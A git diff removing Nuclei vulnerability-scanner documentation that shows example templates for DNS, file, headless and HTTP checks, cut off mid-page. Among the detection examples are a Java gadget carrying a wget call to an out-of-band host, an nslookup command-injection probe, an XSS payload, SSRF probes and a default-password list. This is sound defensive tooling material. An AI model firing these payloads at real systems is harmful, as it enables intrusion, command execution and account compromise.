"template-guide/http/base-http",
|
||||
"template-guide/http/raw-http",
|
||||
"template-guide/http/http-payloads",
|
||||
"template-guide/http/http-fuzzing",
|
||||
"template-guide/http/unsafe-http",
|
||||
"template-guide/http/advance-http"
|
||||
]
|
||||
},
|
||||
"template-guide/headless",
|
||||
"template-guide/network",
|
||||
"template-guide/dns",
|
||||
"template-guide/file",
|
||||
"template-guide/javascript",
|
||||
"template-guide/code",
|
||||
"template-guide/multi",
|
||||
"template-guide/flow",
|
||||
{
|
||||
"group":"Operators",
|
||||
"pages":[
|
||||
"template-guide/operators/matchers",
|
||||
"template-guide/operators/extractors"
|
||||
]
|
||||
},
|
||||
"template-guide/oob-testing",
|
||||
"template-guide/helper-functions",
|
||||
"template-guide/variables",
|
||||
"template-guide/preprocessors",
|
||||
"template-guide/workflows"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Template Example",
|
||||
"pages":[
|
||||
{
|
||||
"group":"HTTP",
|
||||
"pages":[
|
||||
"template-example/http/base-http",
|
||||
"template-example/http/raw-http",
|
||||
"template-example/http/http-fuzzing",
|
||||
"template-example/http/http-smuggling",
|
||||
"template-example/http/http-payloads",
|
||||
"template-example/http/http-race-conditions"
|
||||
]
|
||||
},
|
||||
"template-example/dns",
|
||||
"template-example/file",
|
||||
"template-example/headless",
|
||||
"template-example/network",
|
||||
"template-example/workflow",
|
||||
"template-example/helper-functions"
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"Editor",
|
||||
"pages":[
|
||||
"editor/introduction",
|
||||
"editor/ai",
|
||||
"editor/share",
|
||||
"editor/shortcut",
|
||||
{
|
||||
"group":"REST API",
|
||||
"pages":[
|
||||
"editor/api/scan",
|
||||
"editor/api/generate"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"group":"FAQ",
|
||||
"pages":[
|
||||
"faq/nuclei",
|
||||
"faq/templates",
|
||||
"faq/editor"
|
||||
]
|
||||
}
|
||||
],
|
||||
"footerSocials":{
|
||||
"twitter":"https://twitter.com/pdnuclei",
|
||||
"github":"https://github.com/projectdiscovery/nuclei",
|
||||
"discord":"https://discord.com/invite/projectdiscovery"
|
||||
},
|
||||
"feedback":{
|
||||
"thumbsRating":true,
|
||||
"suggestEdit":true
|
||||
}
|
||||
}
|
||||
@ -1,58 +0,0 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
Basic DNS Request to detect if a CNAME record exists for an input.
|
||||
|
||||
```yaml
|
||||
id: basic-dns-example
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
```
|
||||
|
||||
## Multiple matcher
|
||||
|
||||
An example showcasing multiple matchers of nuclei, allowing detection of Subdomains with CNAME records that point to either `zendesk.com` or `github.io`.
|
||||
|
||||
```yaml
|
||||
id: multiple-matcher
|
||||
|
||||
info:
|
||||
name: Test DNS Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: CNAME
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 5
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
name: zendesk
|
||||
words:
|
||||
- "zendesk.com"
|
||||
- type: word
|
||||
name: github
|
||||
words:
|
||||
- "github.io"
|
||||
```
|
||||
@ -1,58 +0,0 @@
|
||||
---
|
||||
title: "File"
|
||||
---
|
||||
|
||||
## Basic File Template
|
||||
|
||||
This template checks for a pattern in provided files.
|
||||
|
||||
```yaml
|
||||
id: ssh-public-key
|
||||
|
||||
info:
|
||||
name: SSH Public Key Detect
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- pub
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "ssh-rsa"
|
||||
```
|
||||
|
||||
## Extension Denylist with No-Recursive
|
||||
|
||||
The below template is same as last one, but it makes use of an extension denylist along with the no-recursive option.
|
||||
|
||||
```yaml
|
||||
id: ssh-private-key
|
||||
|
||||
info:
|
||||
name: SSH Private Key Detect
|
||||
author: pd-team
|
||||
severity: high
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
denylist:
|
||||
- pub
|
||||
no-recursive: true
|
||||
max-size: 1024 # read very small chunks
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "BEGIN OPENSSH PRIVATE KEY"
|
||||
- "BEGIN PRIVATE KEY"
|
||||
- "BEGIN RSA PRIVATE KEY"
|
||||
- "BEGIN DSA PRIVATE KEY"
|
||||
- "BEGIN EC PRIVATE KEY"
|
||||
- "BEGIN PGP PRIVATE KEY BLOCK"
|
||||
- "ssh-rsa"
|
||||
```
|
||||
@ -1,276 +0,0 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
## Basic Headless Navigation Example
|
||||
|
||||
This template visits a URL in the headless browser and waits for it to load.
|
||||
|
||||
```yaml
|
||||
id: basic-headless-request
|
||||
|
||||
info:
|
||||
name: Basic Headless Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}"
|
||||
- action: waitload
|
||||
```
|
||||
|
||||
## Headless prototype pollution detection
|
||||
|
||||
The below template detects prototype pollution on pages with Nuclei headless capabilities. The code for detection is taken from [https://github.com/msrkp/PPScan](https://github.com/msrkp/PPScan). We make use of script injection capabilities of nuclei to provide reliable detection for prototype pollution.
|
||||
|
||||
```yaml
|
||||
id: prototype-pollution-check
|
||||
|
||||
info:
|
||||
name: Prototype Pollution Check
|
||||
author: pd-team
|
||||
severity: medium
|
||||
reference: https://github.com/msrkp/PPScan
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: X-Frame-Options
|
||||
value: foo
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: If-None-Match
|
||||
value: foo
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
// Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function check() {
|
||||
loc = location.href;
|
||||
|
||||
if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
var url = new URL(location.origin + location.pathname);
|
||||
url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
|
||||
location = url.href;
|
||||
}, 5 * 1000);
|
||||
} else if (loc.search("a0def12bce") != -1) {
|
||||
setTimeout(function() {
|
||||
if (Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
}
|
||||
window.close();
|
||||
}, 5 * 1000);
|
||||
} else {
|
||||
var url = new URL(loc);
|
||||
url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
|
||||
url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
|
||||
location = url.href;
|
||||
}
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
} else {
|
||||
check();
|
||||
}
|
||||
};
|
||||
|
||||
var timerID = setInterval(function() {
|
||||
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
|
||||
logger(location.href);
|
||||
clearInterval(timerID);
|
||||
}
|
||||
}, 5 * 1000)})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "__proto__"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
|
||||
## DVWA XSS Reproduction With Headless Mode
|
||||
|
||||
This template logs into DVWA (Damn Vulnerable Web App) and tries to automatically reproduce a Reflected XSS, returning a match if it found that the payload was executed successfully.
|
||||
|
||||
```yaml
|
||||
id: dvwa-xss-verification
|
||||
|
||||
info:
|
||||
name: DVWA Reflected XSS Verification
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
|
||||
# Set the hook to override window.data for xss detection
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: "(function() { window.alert = function() { window.data = 'found' } })()"
|
||||
- args:
|
||||
by: x
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: x
|
||||
value: '"><svg/onload=alert(1)>'
|
||||
xpath: /html/body/div/div[3]/div/div/form/p/input
|
||||
action: text
|
||||
- args:
|
||||
keys: "\r" # Press the enter key on the keyboard
|
||||
action: keyboard
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alert
|
||||
args:
|
||||
code: "window.data"
|
||||
matchers:
|
||||
- part: alert
|
||||
type: word
|
||||
words:
|
||||
- "found"
|
||||
```
|
||||
|
||||
## DOM XSS Detection
|
||||
|
||||
This template performs detection of DOM-XSS for `window.name` source by hooking common sinks such as `eval`, `innerHTML` and `document.write`.
|
||||
|
||||
```yaml
|
||||
id: window-name-domxss
|
||||
|
||||
info:
|
||||
name: window.name DOM XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: setheader
|
||||
args:
|
||||
part: response
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
- action: script
|
||||
args:
|
||||
hook: true
|
||||
code: |
|
||||
(function() {window.alerts = [];
|
||||
|
||||
function logger(found) {
|
||||
window.alerts.push(found);
|
||||
}
|
||||
|
||||
function getStackTrace () {
|
||||
var stack;
|
||||
try {
|
||||
throw new Error('');
|
||||
}
|
||||
catch (error) {
|
||||
stack = error.stack || '';
|
||||
}
|
||||
stack = stack.split('\n').map(function (line) { return line.trim(); });
|
||||
return stack.splice(stack[0] == 'Error' ? 2 : 1);
|
||||
}
|
||||
window.name = "{{randstr_1}}'\"<>";
|
||||
|
||||
var oldEval = eval;
|
||||
var oldDocumentWrite = document.write;
|
||||
var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
|
||||
Object.defineProperty(Element.prototype, 'innerHTML', {
|
||||
set: function innerHTML_Setter(val) {
|
||||
if (val.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
|
||||
}
|
||||
return setter.call(this, val)
|
||||
}
|
||||
});
|
||||
eval = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
document.write = function(data) {
|
||||
if (data.includes("{{randstr_1}}'\"<>")) {
|
||||
logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
|
||||
}
|
||||
return oldEval.apply(this, arguments);
|
||||
};
|
||||
})();
|
||||
- args:
|
||||
url: "{{BaseURL}}"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- action: script
|
||||
name: alerts
|
||||
args:
|
||||
code: "window.alerts"
|
||||
matchers:
|
||||
- type: word
|
||||
part: alerts
|
||||
words:
|
||||
- "sink:"
|
||||
extractors:
|
||||
- type: kval
|
||||
part: alerts
|
||||
kval:
|
||||
- alerts
|
||||
```
|
||||
@ -1,100 +0,0 @@
|
||||
---
|
||||
title: "Helpers"
|
||||
---
|
||||
|
||||
## Helper Functions Examples
|
||||
|
||||
Nuclei has a number of helper functions that may be used to conduct various run-time operations on the request block. Here's an example template that shows how to use all the available helper functions.
|
||||
|
||||
```yaml
|
||||
id: helper-functions-examples
|
||||
|
||||
info:
|
||||
name: RAW Template with Helper Functions
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
1: {{base64("Hello")}}
|
||||
2: {{base64(1234)}}
|
||||
3: {{base64_decode("SGVsbG8=")}}
|
||||
4: {{base64_py("Hello")}}
|
||||
5: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
|
||||
6: {{concat("Hello", "world")}}
|
||||
7: {{contains("Hello", "lo")}}
|
||||
8: {{contains_all("Hello everyone", "lo", "every")}}
|
||||
9: {{contains_any("Hello everyone", "abc", "llo")}}
|
||||
10: {{date_time("%Y-%M-%D")}}
|
||||
11: {{date_time("%Y-%M-%D", unix_time())}}
|
||||
12: {{date_time("%H-%m")}}
|
||||
13: {{date_time("02-01-2006 15:04")}}
|
||||
14: {{date_time("02-01-2006 15:04", unix_time())}}
|
||||
15: {{dec_to_hex(11111)}}
|
||||
16: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
17: {{gzip("Hello")}}
|
||||
18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
|
||||
19: {{hex_decode("6161")}}
|
||||
20: {{hex_encode("aa")}}
|
||||
21: {{hmac("sha1", "test", "scrt")}}
|
||||
22: {{hmac("sha256", "test", "scrt")}}
|
||||
23: {{html_escape("<body>test</body>")}}
|
||||
24: {{html_unescape("<body>test</body>")}}
|
||||
25: {{join("_", "hello", "world")}}
|
||||
26: {{len("Hello")}}
|
||||
27: {{len(5555)}}
|
||||
28: {{md5("Hello")}}
|
||||
29: {{md5(1234)}}
|
||||
30: {{mmh3("Hello")}}
|
||||
31: {{print_debug(1+2, "Hello")}}
|
||||
32: {{rand_base(5, "abc")}}
|
||||
33: {{rand_base(5, "")}}
|
||||
34: {{rand_base(5)}}
|
||||
35: {{rand_char("abc")}}
|
||||
36: {{rand_char("")}}
|
||||
37: {{rand_char()}}
|
||||
38: {{rand_int(1, 10)}}
|
||||
39: {{rand_int(10)}}
|
||||
40: {{rand_int()}}
|
||||
41: {{rand_ip("192.168.0.0/24")}}
|
||||
42: {{rand_ip("2002:c0a8::/24")}}
|
||||
43: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
|
||||
44: {{rand_text_alpha(10, "abc")}}
|
||||
45: {{rand_text_alpha(10, "")}}
|
||||
46: {{rand_text_alpha(10)}}
|
||||
47: {{rand_text_alphanumeric(10, "ab12")}}
|
||||
48: {{rand_text_alphanumeric(10)}}
|
||||
49: {{rand_text_numeric(10, 123)}}
|
||||
50: {{rand_text_numeric(10)}}
|
||||
51: {{regex("H([a-z]+)o", "Hello")}}
|
||||
52: {{remove_bad_chars("abcd", "bc")}}
|
||||
53: {{repeat("a", 5)}}
|
||||
54: {{replace("Hello", "He", "Ha")}}
|
||||
55: {{replace_regex("He123llo", "(\\d+)", "")}}
|
||||
56: {{reverse("abc")}}
|
||||
57: {{sha1("Hello")}}
|
||||
58: {{sha256("Hello")}}
|
||||
59: {{to_lower("HELLO")}}
|
||||
60: {{to_upper("hello")}}
|
||||
61: {{trim("aaaHelloddd", "ad")}}
|
||||
62: {{trim_left("aaaHelloddd", "ad")}}
|
||||
63: {{trim_prefix("aaHelloaa", "aa")}}
|
||||
64: {{trim_right("aaaHelloddd", "ad")}}
|
||||
65: {{trim_space(" Hello ")}}
|
||||
66: {{trim_suffix("aaHelloaa", "aa")}}
|
||||
67: {{unix_time(10)}}
|
||||
68: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
|
||||
69: {{url_encode("https://projectdiscovery.io/test?a=1")}}
|
||||
70: {{wait_for(1)}}
|
||||
71: {{zlib("Hello")}}
|
||||
72: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
|
||||
73: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
|
||||
74: {{starts_with("Hello", "He")}}
|
||||
75: {{ends_with("Hello", "lo")}}
|
||||
76: {{line_starts_with("Hi\nHello", "He")}}
|
||||
77: {{line_ends_with("Hello\nHi", "lo")}}
|
||||
78: {{ip_format("169.254.169.254", 4)}}
|
||||
```
|
||||
@ -1,218 +0,0 @@
|
||||
---
|
||||
title: "Base HTTP"
|
||||
---
|
||||
|
||||
## Basic Template
|
||||
|
||||
This template requests `/` path of URL and match string in the response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-example
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "This is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple matchers
|
||||
|
||||
This template requests `/` path of URL and run multiple OR based matchers against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: http-multiple-matchers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
part: header
|
||||
```
|
||||
|
||||
## Matchers with conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.
|
||||
|
||||
|
||||
```yaml
|
||||
id: matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: and
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
## Multiple matcher conditions
|
||||
|
||||
This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.
|
||||
|
||||
```yaml
|
||||
id: multiple-matchers-conditions
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- PHP
|
||||
part: body
|
||||
```
|
||||
|
||||
## Custom headers
|
||||
|
||||
This template requests `/` path of the URL as GET request with additional custom headers defined in the template.
|
||||
|
||||
```yaml
|
||||
id: custom-headers
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
|
||||
# Example of sending some headers to the servers
|
||||
|
||||
headers:
|
||||
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
X-Remote-Addr: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
|
||||
path:
|
||||
- "{{BaseURL}}/server-status"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Apache Server Status
|
||||
- Server Version
|
||||
condition: and
|
||||
```
|
||||
|
||||
## POST requests
|
||||
|
||||
This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.
|
||||
|
||||
|
||||
|
||||
```yaml
|
||||
id: post-request
|
||||
|
||||
info:
|
||||
name: Test HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/admin"
|
||||
|
||||
body: 'admin=test'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Welcome Admin
|
||||
```
|
||||
|
||||
## Time based Matcher
|
||||
|
||||
This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.
|
||||
|
||||
```yaml
|
||||
id: time-based-matcher
|
||||
|
||||
info:
|
||||
name: DSL based response time matcher
|
||||
author: pdteam
|
||||
severity: none
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /slow HTTP/1.1
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'duration>=6'
|
||||
```
|
||||
@ -1,209 +0,0 @@
|
||||
---
|
||||
title: "HTTP Fuzzing"
|
||||
---
|
||||
|
||||
## Basic SSTI Template
|
||||
|
||||
A simple template to discover `{{<number>*<number>}}` type SSTI vulnerabilities.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-ssti
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential SSTI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
variables:
|
||||
first: "{{rand_int(10000, 99999)}}"
|
||||
second: "{{rand_int(10000, 99999)}}"
|
||||
result: "{{to_number(first)*to_number(second)}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- '{{concat("{{", "§first§*§second§", "}}")}}'
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: multiple
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{result}}"
|
||||
```
|
||||
## Basic XSS Template
|
||||
|
||||
A simple template to discover XSS probe reflection in HTML pages.
|
||||
|
||||
```yaml
|
||||
id: fuzz-reflection-xss
|
||||
|
||||
info:
|
||||
name: Basic Reflection Potential XSS Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
reflection:
|
||||
- "6842'\"><9967"
|
||||
stop-at-first-match: true
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: postfix
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{reflection}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{reflection}}"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
```
|
||||
|
||||
## Basic OpenRedirect Template
|
||||
|
||||
A simple template to discover open-redirects issues.
|
||||
|
||||
```yaml
|
||||
id: fuzz-open-redirect
|
||||
|
||||
info:
|
||||
name: Basic Open Redirect Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "https://example.com"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys-regex:
|
||||
- "redirect.*"
|
||||
fuzz:
|
||||
- "{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "{{redirect}}"
|
||||
- type: status
|
||||
status:
|
||||
- 301
|
||||
- 302
|
||||
- 307
|
||||
```
|
||||
|
||||
## Blind SSRF OOB Detection
|
||||
|
||||
A simple template to detect Blind SSRF in known-parameters using interact.sh with HTTP fuzzing.
|
||||
|
||||
```yaml
|
||||
id: fuzz-ssrf
|
||||
|
||||
info:
|
||||
name: Basic Blind SSRF Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
keys:
|
||||
- "dest"
|
||||
- "redirect"
|
||||
- "uri"
|
||||
- "path"
|
||||
- "continue"
|
||||
- "url"
|
||||
- "window"
|
||||
- "next"
|
||||
- "data"
|
||||
- "reference"
|
||||
- "site"
|
||||
- "html"
|
||||
- "val"
|
||||
- "validate"
|
||||
- "domain"
|
||||
- "callback"
|
||||
- "return"
|
||||
- "page"
|
||||
- "feed"
|
||||
- "host"
|
||||
- "port"
|
||||
- "to"
|
||||
- "out"
|
||||
- "view"
|
||||
- "dir"
|
||||
- "show"
|
||||
- "navigation"
|
||||
- "open"
|
||||
fuzz:
|
||||
- "https://{{redirect}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "http"
|
||||
```
|
||||
|
||||
## Blind CMDi OOB based detection
|
||||
|
||||
A simple template to detect blind CMDI using interact.sh
|
||||
|
||||
```yaml
|
||||
id: fuzz-cmdi
|
||||
|
||||
info:
|
||||
name: Basic Blind CMDI Detection
|
||||
author: pdteam
|
||||
severity: low
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
payloads:
|
||||
redirect:
|
||||
- "{{interactsh-url}}"
|
||||
fuzzing:
|
||||
fuzz:
|
||||
- "nslookup {{redirect}}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
@ -1,216 +0,0 @@
|
||||
---
|
||||
title: "HTTP Payloads"
|
||||
---
|
||||
|
||||
## HTTP Intruder fuzzing
|
||||
|
||||
This template makes a defined POST request in RAW format along with in template defined payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
# HTTP Intruder fuzzing with in template payload support.
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?username=§username§¶mb=§password§ HTTP/1.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§password§')}}
|
||||
Accept: */*
|
||||
body=test
|
||||
|
||||
payloads:
|
||||
username:
|
||||
- admin
|
||||
|
||||
password:
|
||||
- admin
|
||||
- guest
|
||||
- password
|
||||
- test
|
||||
- 12345
|
||||
- 123456
|
||||
|
||||
attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Fuzzing multiple requests
|
||||
|
||||
This template makes a defined POST request in RAW format along with wordlist based payloads running `clusterbomb` intruder and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
POST /?param_a=§param_a§¶mb=§param_b§ HTTP/1.1
|
||||
User-Agent: §param_a§
|
||||
Host: {{Hostname}}
|
||||
another_header: {{base64('§param_b§')}}
|
||||
Accept: */*
|
||||
|
||||
admin=test
|
||||
|
||||
- |
|
||||
DELETE / HTTP/1.1
|
||||
User-Agent: nuclei
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{sha256('§param_a§')}}
|
||||
|
||||
- |
|
||||
PUT / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}
|
||||
|
||||
attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
|
||||
payloads:
|
